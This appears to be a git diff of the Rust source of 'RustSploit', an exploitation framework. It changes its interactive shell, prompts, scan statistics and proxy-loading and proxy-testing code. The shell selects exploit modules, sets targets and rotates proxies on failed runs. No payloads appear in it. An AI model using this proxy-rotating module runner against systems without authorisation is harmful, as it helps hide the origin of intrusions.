match input.to_lowercase().as_str() {
"y" | "yes" => return Ok(true),
"n" | "no" => return Ok(false),
_ => println!("{}", "Please enter 'y' or 'n'.".yellow()),
_ => println!("Please enter 'y' or 'n'."),
}
}
}
@@ -489,105 +222,26 @@ fn prompt_bool(message: &str) -> Result<bool> {
fn prompt_usize(message: &str) -> Result<usize> {
loop {
let input = prompt(message)?;
if input.is_empty() {
return Err(anyhow!("Input required"));
}
if let Ok(n) = input.parse::<usize>() {
return Ok(n);
}
println!("{}", "Please enter a valid number.".yellow());
println!("Please enter a valid number.");
}
}
/// === Scan Statistics ===
struct ScanStats {
tcp_open: usize,
tcp_closed: usize,
tcp_filtered: usize,
udp_open: usize,
udp_closed: usize,
udp_filtered: usize,
}
impl ScanStats {
fn new() -> Self {
ScanStats {
tcp_open: 0,
tcp_closed: 0,
tcp_filtered: 0,
udp_open: 0,
udp_closed: 0,
udp_filtered: 0,
}
}
}
/// === Progress Tracker ===
struct ProgressTracker {
/// === Progress Bar Struct ===
struct ProgressBar {
total: usize,
current: usize,
last_print: usize,
start_time: Option<Instant>,
}
impl ProgressTracker {
impl ProgressBar {
fn new(total: usize) -> Self {
ProgressTracker {
total,
current: 0,
last_print: 0,
start_time: None,
}
ProgressBar { total, current: 0 }
}
fn increment(&mut self, start_time: &Instant) {
if self.start_time.is_none() {
self.start_time = Some(*start_time);
}
fn increment(&mut self) {
self.current += 1;
}
fn should_print(&self) -> bool {
let diff = self.current - self.last_print;
diff >= 100 || self.current == self.total
}
fn print_progress(&mut self) {
if self.current == 0 {
return;
if self.current % 1000 == 0 || self.current == self.total {
println!("[*] Progress: {}/{}", self.current, self.total);
}
let percentage = (self.current as f64 / self.total as f64) * 100.0;
let elapsed = self.start_time.map(|s| s.elapsed()).unwrap_or_default();
let rate = if elapsed.as_secs() > 0 {
self.current as f64 / elapsed.as_secs() as f64
} else {
0.0
};
let remaining = if rate > 0.0 {
(self.total - self.current) as f64 / rate
} else {
0.0
};
print!("\r{}", format!(
"[*] Progress: {}/{} ({:.1}%) | Rate: {:.0} ports/sec | ETA: {:.0}s",
self.current,
self.total,
percentage,
rate,
remaining
).cyan());
io::stdout().flush().unwrap();
if self.current == self.total {
println!();
}
self.last_print = self.current;
}
}
+1 -4
View File
@@ -1,8 +1,6 @@
use anyhow::{Result};
use colored::*;
use regex::Regex;
use std::collections::HashMap;
use std::io::Write;
use std::net::SocketAddr;
use tokio::net::UdpSocket;
use tokio::time::{timeout, Duration};
@@ -69,8 +67,7 @@ fn clean_ipv6_brackets(ip: &str) -> String {
/// Ask user for port (optional), fallback to 1900 if empty
fn prompt_port() -> Option<u16> {
print!("{}", "[*] Enter custom port (default 1900): ".cyan().bold());
std::io::stdout().flush().ok();
println!("[*] Enter custom port (default 1900): ");
let mut input = String::new();
if let Ok(_) = std::io::stdin().read_line(&mut input) {
let input = input.trim();
+139 -375
View File
@@ -1,7 +1,6 @@
use crate::commands;
use crate::utils;
use anyhow::Result;
use colored::*;
use rand::prelude::*; // rand 0.9 prelude provides rng() and SliceRandom
use std::env;
use std::io::{self, Write};
@@ -33,192 +32,154 @@ pub async fn interactive_shell() -> Result<()> {
let mut ctx = ShellContext::new();
loop {
print!("{}", "rsf> ".cyan().bold());
print!("rsf> ");
io::stdout().flush()?;
let mut raw_input = String::new();
io::stdin().read_line(&mut raw_input)?;
let trimmed = raw_input.trim();
let mut input = String::new();
io::stdin().read_line(&mut input)?;
let input = input.trim();
if trimmed.is_empty() {
if input.is_empty() {
continue;
}
match split_command(trimmed) {
Some((cmd, rest)) => {
let command_key = resolve_command(&cmd);
match command_key.as_str() {
"exit" => {
println!("Exiting...");
break;
match input {
"exit" | "quit" => {
println!("Exiting...");
break;
},
"help" => {
println!("Available commands:");
println!(" use <module_path> - Select a module (e.g. 'use exploits/sample_exploit')");
println!(" set target <value> - Set the target IP/host");
println!(" run - Run the current module (with proxy retries if enabled)");
println!(" modules - List available modules");
println!(" find <keyword> - Search for a module by keyword");
println!(" proxy_load <file> - Load a list of proxies (http://ip:port, https://ip:port, socks4://ip:port, socks5://ip:port.)");
println!(" proxy_on - Enable proxy usage");
println!(" proxy_off - Disable proxy usage");
println!(" show_proxies - Show loaded proxies & current proxy status");
println!(" exit, quit - Exit the shell");
},
"modules" => {
utils::list_all_modules();
},
cmd if cmd.starts_with("find ") => {
let keyword = cmd.trim_start_matches("find ").trim();
if keyword.is_empty() {
println!("Usage: find <keyword>");
} else {
utils::find_modules(keyword);
}
},
cmd if cmd.starts_with("proxy_load ") => {
let file = cmd.trim_start_matches("proxy_load ").trim();
match utils::load_proxies_from_file(file) {
Ok(list) => {
ctx.proxy_list = list;
println!("Loaded {} proxies from '{}'.", ctx.proxy_list.len(), file);
}
"help" => render_help(),
"modules" => utils::list_all_modules(),
"find" => {
if rest.is_empty() {
println!("{}", "Usage: find <keyword>".yellow());
} else {
utils::find_modules(&rest);
}
}
"proxy_load" => {
let file_path = if rest.is_empty() {
prompt_for_path("Path to proxy list file: ")?
} else {
rest.to_string()
};
match utils::load_proxies_from_file(&file_path) {
Ok(summary) => {
ctx.proxy_list = summary.proxies;
println!(
"Loaded {} proxies from '{}'.",
ctx.proxy_list.len(),
file_path
);
if !summary.skipped.is_empty() {
println!(
"{}",
format!(
"Skipped {} invalid entr{}:",
summary.skipped.len(),
if summary.skipped.len() == 1 { "y" } else { "ies" }
)
.yellow()
);
for failure in summary.skipped.iter().take(10) {
println!(
" [line {}] {} ({})",
failure.line_number,
failure.content,
failure.reason
);
}
if summary.skipped.len() > 10 {
println!(
" ... {} additional entr{} skipped.",
summary.skipped.len() - 10,
if summary.skipped.len() - 10 == 1 {
"y"
} else {
"ies"
}
);
}
}
if prompt_yes_no("Test connectivity of loaded proxies? (recommended)", true)? {
test_current_proxies(&mut ctx).await?;
}
}
Err(e) => {
println!("Failed to load proxies: {}", e);
}
}
}
"proxy_on" => {
ctx.proxy_enabled = true;
println!("Proxy usage enabled.");
}
"proxy_off" => {
ctx.proxy_enabled = false;
println!("Proxy usage disabled.");
clear_proxy_env_vars();
}
"proxy_test" => {
test_current_proxies(&mut ctx).await?;
}
"show_proxies" => {
if ctx.proxy_list.is_empty() {
println!("No proxies loaded. Use 'proxy_load <file>' to load them.");
} else {
println!("Loaded proxies ({}):", ctx.proxy_list.len());
for p in &ctx.proxy_list {
println!(" {}", p);
}
}
println!("Proxy is currently {}.", if ctx.proxy_enabled { "ON" } else { "OFF" });
}
"use" => {
if rest.is_empty() {
println!("{}", "Usage: use <module_path>".yellow());
} else if utils::module_exists(&rest) {
ctx.current_module = Some(rest.to_string());
println!("{}", format!("Module '{}' selected.", rest).green());
} else {
println!("{}", format!("Module '{}' not found.", rest).red());
}
}
"set" => {
let parts: Vec<&str> = rest.split_whitespace().collect();
if parts.len() >= 2 && parts[0] == "target" {
ctx.current_target = Some(parts[1].to_string());
println!("{}", format!("Target set to {}", parts[1]).green());
} else {
println!("{}", "Usage: set target <value>".yellow());
}
}
"run" => {
if let Some(ref module_path) = ctx.current_module {
if let Some(ref t) = ctx.current_target {
if ctx.proxy_enabled && !ctx.proxy_list.is_empty() {
let mut tried_proxies = HashSet::new();
let mut success = false;
while tried_proxies.len() < ctx.proxy_list.len() {
let chosen_proxy = pick_random_untried_proxy(&ctx.proxy_list, &tried_proxies);
set_all_proxy_env(&chosen_proxy);
println!("[*] Using proxy: {}", chosen_proxy);
println!("Running module '{}' against target '{}'", module_path, t);
match commands::run_module(module_path, t).await {
Ok(_) => {
success = true;
break;
}
Err(e) => {
eprintln!("[!] Module failed with error: {:?}", e);
eprintln!(" Retrying with a new proxy...");
tried_proxies.insert(chosen_proxy);
}
}
}
if !success {
println!("[!] All proxies failed. Trying direct connection...");
clear_proxy_env_vars();
if let Err(e) = commands::run_module(module_path, t).await {
eprintln!("[!] Final direct attempt also failed: {:?}", e);
}
}
} else if ctx.proxy_enabled && ctx.proxy_list.is_empty() {
println!("[!] No proxies loaded, but proxy is ON. Doing direct attempt...");
clear_proxy_env_vars();
if let Err(e) = commands::run_module(module_path, t).await {
eprintln!("[!] Module failed: {:?}", e);
}
} else {
clear_proxy_env_vars();
if let Err(e) = commands::run_module(module_path, t).await {
eprintln!("[!] Module failed: {:?}", e);
}
}
} else {
println!("{}", "No target set. Use 'set target <value>' first.".yellow());
}
} else {
println!("{}", "No module selected. Use 'use <module>' first.".yellow());
}
}
_ => {
println!("{}", format!("Unknown command: '{}'. Type 'help' or '?' for usage.", trimmed).red());
Err(e) => {
println!("Failed to load proxies: {}", e);
}
}
}
None => {
println!("{}", format!("Unknown command: '{}'. Type 'help' or '?' for usage.", trimmed).red());
}
},
"proxy_on" => {
ctx.proxy_enabled = true;
println!("Proxy usage enabled.");
},
"proxy_off" => {
ctx.proxy_enabled = false;
println!("Proxy usage disabled.");
clear_proxy_env_vars();
},
"show_proxies" => {
if ctx.proxy_list.is_empty() {
println!("No proxies loaded. Use 'proxy_load <file>' to load them.");
} else {
println!("Loaded proxies ({}):", ctx.proxy_list.len());
for p in &ctx.proxy_list {
println!(" {}", p);
}
}
println!("Proxy is currently {}.", if ctx.proxy_enabled { "ON" } else { "OFF" });
},
cmd if cmd.starts_with("use ") => {
let module_path = cmd.trim_start_matches("use ").trim();
if utils::module_exists(module_path) {
ctx.current_module = Some(module_path.to_string());
println!("Module '{}' selected.", module_path);
} else {
println!("Module '{}' not found.", module_path);
}
},
cmd if cmd.starts_with("set ") => {
let parts: Vec<&str> = cmd.split_whitespace().collect();
if parts.len() >= 3 && parts[1] == "target" {
ctx.current_target = Some(parts[2].to_string());
println!("Target set to {}", parts[2]);
} else {
println!("Usage: set target <value>");
}
},
"run" => {
if let Some(ref module_path) = ctx.current_module {
if let Some(ref t) = ctx.current_target {
// -----------------------------
// NEW: Proxy Retry Logic
// -----------------------------
if ctx.proxy_enabled && !ctx.proxy_list.is_empty() {
let mut tried_proxies = HashSet::new();
let mut success = false;
while tried_proxies.len() < ctx.proxy_list.len() {
let chosen_proxy = pick_random_untried_proxy(&ctx.proxy_list, &tried_proxies);
set_all_proxy_env(&chosen_proxy);
println!("[*] Using proxy: {}", chosen_proxy);
println!("Running module '{}' against target '{}'", module_path, t);
match commands::run_module(module_path, t).await {
Ok(_) => {
success = true;
break;
}
Err(e) => {
eprintln!("[!] Module failed with error: {:?}", e);
eprintln!(" Retrying with a new proxy...");
tried_proxies.insert(chosen_proxy);
}
}
}
if !success {
println!("[!] All proxies failed. Trying direct connection...");
clear_proxy_env_vars();
if let Err(e) = commands::run_module(module_path, t).await {
eprintln!("[!] Final direct attempt also failed: {:?}", e);
}
}
} else if ctx.proxy_enabled && ctx.proxy_list.is_empty() {
println!("[!] No proxies loaded, but proxy is ON. Doing direct attempt...");
clear_proxy_env_vars();
if let Err(e) = commands::run_module(module_path, t).await {
eprintln!("[!] Module failed: {:?}", e);
}
} else {
clear_proxy_env_vars();
if let Err(e) = commands::run_module(module_path, t).await {
eprintln!("[!] Module failed: {:?}", e);
}
}
} else {
println!("No target set. Use 'set target <value>' first.");
}
} else {
println!("No module selected. Use 'use <module>' first.");
}
},
_ => {
println!("Unknown command: '{}'. Type 'help' for usage.", input);
},
}
}
@@ -251,200 +212,3 @@ fn clear_proxy_env_vars() {
env::remove_var("HTTP_PROXY");
env::remove_var("HTTPS_PROXY");
}
fn split_command(input: &str) -> Option<(String, String)> {
let mut parts = input.splitn(2, char::is_whitespace);
let cmd = parts.next()?.to_lowercase();
let rest = parts.next().unwrap_or("").trim().to_string();
Some((cmd, rest))
}
fn resolve_command(cmd: &str) -> String {
match cmd {
"?" | "help" | "h" => "help",
"modules" | "list" | "ls" | "m" => "modules",
"find" | "search" | "f" | "f1" => "find",
"proxy_load" | "proxyload" | "pl" | "load_proxy" | "loadproxies" => "proxy_load",
"proxy_on" | "pon" | "proxyon" => "proxy_on",
"proxy_off" | "poff" | "proxyoff" => "proxy_off",
"proxy_test" | "ptest" | "proxycheck" | "check_proxies" => "proxy_test",
"show_proxies" | "proxies" | "pshow" | "proxy_show" => "show_proxies",
"use" | "u" => "use",
"set" | "target" => "set",
"run" | "go" | "exec" => "run",
"exit" | "quit" | "q" => "exit",
other => other,
}
.to_string()
}
fn render_help() {
println!();
println!("{}", "RustSploit Command Palette".bold().underline());
println!(
"{}",
"Shortcuts are case-insensitive. Example: `f1 ssh` searches for SSH modules."
.dimmed()
);
println!();
let entries = vec![
("help", "help | h | ?", "Show this screen"),
("modules", "modules | ls | m", "List available modules"),
("find", "find <kw> | f1 <kw>", "Search modules by keyword"),
("use", "use <path> | u <path>", "Select a module to run"),
("set target", "set target <value>", "Set current target host/IP"),
("run", "run | go", "Execute selected module (with proxy rotation)"),
("proxy_load", "proxy_load [file] | pl", "Load proxy list from file"),
("proxy_on", "proxy_on | pon", "Enable proxy usage"),
("proxy_off", "proxy_off | poff", "Disable proxy usage"),
("proxy_test", "proxy_test | ptest", "Validate loaded proxies"),
("show_proxies", "show_proxies | proxies", "Display proxy status"),
("exit", "exit | quit | q", "Leave the shell"),
];
println!("{}", format!("{:<16} {:<25} {}", "Command", "Shortcuts", "Description").bold());
println!("{}", "-".repeat(72).dimmed());
for (cmd, shortcuts, desc) in entries {
println!("{:<16} {:<25} {}", cmd.green(), shortcuts.cyan(), desc);
}
println!();
println!(
"{}",
"Need more context? Try `modules`, then `use category/module_name`, and finally `run`."
.dimmed()
);
println!();
}
async fn test_current_proxies(ctx: &mut ShellContext) -> Result<()> {
if ctx.proxy_list.is_empty() {
println!("No proxies loaded to test.");
return Ok(());
}
let total = ctx.proxy_list.len();
let test_url = prompt_string_default("Proxy test URL", "https://example.com")?;
let timeout_secs = prompt_u64("Proxy test timeout (seconds)", 5)?;
let max_parallel = prompt_usize("Max concurrent proxy tests", 10)?;
println!(
"[*] Testing {} proxy entr{} (timeout: {}s, concurrency: {})",
total,
if total == 1 { "y" } else { "ies" },
timeout_secs,
max_parallel
);
let summary = utils::test_proxies(&ctx.proxy_list, &test_url, timeout_secs, max_parallel).await;
let working_count = summary.working.len();
let failed = summary.failed;
let working = summary.working;
if working_count == 0 {
println!("{}", "[-] No proxies passed the connectivity test.".red());
} else {
println!(
"{}",
format!("[+] {} proxies passed the connectivity test.", working_count).green()
);
}
if !failed.is_empty() {
println!(
"{}",
format!("[-] {} proxies failed validation:", failed.len()).yellow()
);
for failure in &failed {
println!(" {} -> {}", failure.proxy, failure.reason);
}
}
ctx.proxy_list = working;
if ctx.proxy_enabled && ctx.proxy_list.is_empty() {
println!("[!] Proxy list is empty after testing. Disabling proxy usage.");
ctx.proxy_enabled = false;
clear_proxy_env_vars();
}
Ok(())
}
fn prompt_for_path(message: &str) -> io::Result<String> {
loop {
print!("{}", message);
io::stdout().flush()?;
let mut input = String::new();
io::stdin().read_line(&mut input)?;
let value = input.trim();
if !value.is_empty() {
return Ok(value.to_string());
}
println!("Path cannot be empty. Please try again.");
}
}
fn prompt_string_default(message: &str, default: &str) -> io::Result<String> {
print!("{} [{}]: ", message, default);
io::stdout().flush()?;
let mut input = String::new();
io::stdin().read_line(&mut input)?;
let trimmed = input.trim();
if trimmed.is_empty() {
Ok(default.to_string())
} else {
Ok(trimmed.to_string())
}
}
fn prompt_yes_no(message: &str, default_yes: bool) -> io::Result<bool> {
let default_hint = if default_yes { "Y/n" } else { "y/N" };
loop {
print!("{} [{}]: ", message, default_hint);
io::stdout().flush()?;
let mut input = String::new();
io::stdin().read_line(&mut input)?;
let trimmed = input.trim().to_lowercase();
match trimmed.as_str() {
"" => return Ok(default_yes),
"y" | "yes" => return Ok(true),
"n" | "no" => return Ok(false),
_ => println!("Please answer with 'y' or 'n'."),
}
}
}
fn prompt_u64(message: &str, default: u64) -> io::Result<u64> {
loop {
print!("{} [{}]: ", message, default);
io::stdout().flush()?;
let mut input = String::new();
io::stdin().read_line(&mut input)?;
let trimmed = input.trim();
if trimmed.is_empty() {
return Ok(default);
}
match trimmed.parse::<u64>() {
Ok(value) => return Ok(value),
Err(_) => println!("Invalid number. Please enter a positive integer."),
}
}
}
fn prompt_usize(message: &str, default: usize) -> io::Result<usize> {
loop {
print!("{} [{}]: ", message, default);
io::stdout().flush()?;
let mut input = String::new();
io::stdin().read_line(&mut input)?;
let trimmed = input.trim();
if trimmed.is_empty() {
return Ok(default);
}
match trimmed.parse::<usize>() {
Ok(value) if value > 0 => return Ok(value),
_ => println!("Invalid number. Please enter a positive integer."),
}
}
}
-1
View File
@@ -1 +0,0 @@
+20 -171
View File
@@ -2,15 +2,9 @@
use colored::*;
use std::fs;
use std::io::{BufRead, BufReader};
use std::io::{BufRead, BufReader, Error};
use std::path::Path;
use std::sync::Arc;
use std::time::Duration;
use anyhow::{Result, anyhow, Context};
use futures::stream::{FuturesUnordered, StreamExt};
use reqwest;
use tokio::sync::Semaphore;
use url::Url;
use anyhow::{Result};
/// Maximum folder depth to traverse
const MAX_DEPTH: usize = 6;
@@ -140,177 +134,32 @@ pub fn find_modules(keyword: &str) {
}
}
const SUPPORTED_PROXY_SCHEMES: &[&str] = &["http", "https", "socks4", "socks4a", "socks5", "socks5h"];
#[derive(Debug, Clone)]
pub struct ProxyParseError {
pub line_number: usize,
pub content: String,
pub reason: String,
}
#[derive(Debug, Clone)]
pub struct ProxyLoadSummary {
pub proxies: Vec<String>,
pub skipped: Vec<ProxyParseError>,
}
#[derive(Debug, Clone)]
pub struct ProxyTestFailure {
pub proxy: String,
pub reason: String,
}
#[derive(Debug, Clone)]
pub struct ProxyTestSummary {
pub working: Vec<String>,
pub failed: Vec<ProxyTestFailure>,
}
/// Attempt to normalise and validate a proxy entry.
fn normalize_proxy_candidate(line: &str) -> Result<String> {
let trimmed = line.trim();
if trimmed.is_empty() {
return Err(anyhow!("empty line"));
}
let candidate = if trimmed.contains("://") {
trimmed.to_string()
/// Parses a single proxy line (unchanged)
fn parse_proxy_line(line: &str) -> String {
let trimmed = line.trim().to_lowercase();
if trimmed.starts_with("http://")
|| trimmed.starts_with("https://")
|| trimmed.starts_with("socks4://")
|| trimmed.starts_with("socks5://")
{
line.to_string()
} else {
format!("http://{}", trimmed)
};
let url = Url::parse(&candidate).map_err(|e| anyhow!("invalid proxy syntax: {}", e))?;
if !SUPPORTED_PROXY_SCHEMES.iter().any(|scheme| url.scheme() == *scheme) {
return Err(anyhow!("unsupported proxy scheme '{}'", url.scheme()));
format!("http://{}", line)
}
if url.host_str().is_none() {
return Err(anyhow!("missing proxy host"));
}
if url.port().is_none() {
return Err(anyhow!("missing proxy port"));
}
Ok(candidate)
}
/// Load proxies from a file, returning a summary containing valid proxies and skipped entries.
pub fn load_proxies_from_file(filename: &str) -> Result<ProxyLoadSummary> {
let file = fs::File::open(filename)
.with_context(|| format!("failed to open proxy file '{}'", filename))?;
/// Load proxies from a file, returning normalized proxy URLs (unchanged)
pub fn load_proxies_from_file(filename: &str) -> Result<Vec<String>, Error> {
let file = fs::File::open(filename)?;
let reader = BufReader::new(file);
let mut proxies = Vec::new();
let mut skipped = Vec::new();
for (idx, line_res) in reader.lines().enumerate() {
let raw_line = line_res
.with_context(|| format!("failed to read line {} in '{}'", idx + 1, filename))?;
let trimmed = raw_line.trim();
if trimmed.is_empty() || trimmed.starts_with('#') || trimmed.starts_with("//") {
continue;
}
match normalize_proxy_candidate(trimmed) {
Ok(proxy) => proxies.push(proxy),
Err(err) => skipped.push(ProxyParseError {
line_number: idx + 1,
content: trimmed.to_string(),
reason: err.to_string(),
}),
for line in reader.lines() {
let line = line?.trim().to_string();
if !line.is_empty() {
proxies.push(parse_proxy_line(&line));
}
}
if proxies.is_empty() {
return Err(anyhow!("no valid proxies found in '{}'", filename));
}
Ok(ProxyLoadSummary { proxies, skipped })
}
/// Test proxies concurrently and return which passed connectivity checks.
pub async fn test_proxies(
proxies: &[String],
test_url: &str,
timeout_secs: u64,
max_parallel: usize,
) -> ProxyTestSummary {
if proxies.is_empty() {
return ProxyTestSummary {
working: Vec::new(),
failed: Vec::new(),
};
}
let timeout = Duration::from_secs(timeout_secs.max(1));
let parallel = max_parallel.max(1);
let semaphore = Arc::new(Semaphore::new(parallel));
let mut tasks = FuturesUnordered::new();
for proxy in proxies.iter().cloned() {
let test_url = test_url.to_string();
let semaphore = Arc::clone(&semaphore);
tasks.push(tokio::spawn(async move {
let permit = semaphore.acquire_owned().await;
if permit.is_err() {
return (proxy, Err(anyhow!("failed to acquire semaphore permit")));
}
let _permit = permit.unwrap();
let result = check_proxy(&proxy, &test_url, timeout).await;
(proxy, result)
}));
}
let mut summary = ProxyTestSummary {
working: Vec::new(),
failed: Vec::new(),
};
while let Some(res) = tasks.next().await {
match res {
Ok((proxy, Ok(()))) => summary.working.push(proxy),
Ok((proxy, Err(err))) => summary.failed.push(ProxyTestFailure {
proxy,
reason: err.to_string(),
}),
Err(join_err) => summary.failed.push(ProxyTestFailure {
proxy: "<spawn failed>".to_string(),
reason: join_err.to_string(),
}),
}
}
summary
}
async fn check_proxy(proxy: &str, test_url: &str, timeout: Duration) -> Result<()> {
let proxy_cfg = reqwest::Proxy::all(proxy)
.with_context(|| format!("invalid proxy '{}'", proxy))?;
let client = reqwest::Client::builder()
.timeout(timeout)
.proxy(proxy_cfg)
.danger_accept_invalid_certs(true)
.build()
.context("failed to build reqwest client")?;
let response = client
.get(test_url)
.send()
.await
.with_context(|| format!("request via proxy '{}' failed", proxy))?;
if !response.status().is_success() {
return Err(anyhow!(
"received HTTP status {} while hitting {}",
response.status(),
test_url
));
}
Ok(())
Ok(proxies)
}